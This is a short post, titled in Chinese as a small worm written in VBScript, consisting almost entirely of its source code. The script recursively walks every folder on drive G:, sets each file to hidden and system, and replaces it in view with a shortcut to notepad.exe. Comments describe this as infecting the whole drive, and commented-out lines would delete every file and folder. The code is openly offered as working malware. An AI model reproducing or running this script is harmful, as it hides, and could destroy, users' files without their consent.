vbs实现的一个小蠕虫

Sub CreateShortcut(path) Set WshShell = Wscript.CreateObject("Wscript.Shell") Set Shortcut = WshShell.CreateShortcut(path&".lnk") Shortcut.TargetPath = "notepad.exe" ShortCut.Hotkey = "H" ShortCut.Save End sub Function FilesTree(sPath) '遍历一个文件夹下的所有文件夹文件夹 Set oFso = CreateObject("Scripting.FileSystemObject") Set oFolder = oFso.GetFolder(sPath) Set oSubFolders = oFolder.SubFolders Set oFiles = oFolder.Files For Each oFile In oFiles WScript.Echo oFile.Path 'oFile.Delete Set f=oFso.GetFile(oFile.Path) f.Attributes=2+4 '隐藏当前文件 CreateShortcut(oFile.Path) '创建当前文件的快捷方式,并且指向notepad.exe程序 Next For Each oSubFolder In oSubFolders WScript.Echo oSubFolder.Path 'oSubFolder.Delete FilesTree(oSubFolder.Path)'递归 Next Set oFolder = Nothing Set oSubFolders = Nothing Set oFso = Nothing End Function FilesTree("G:\") '感染G盘下的所有文件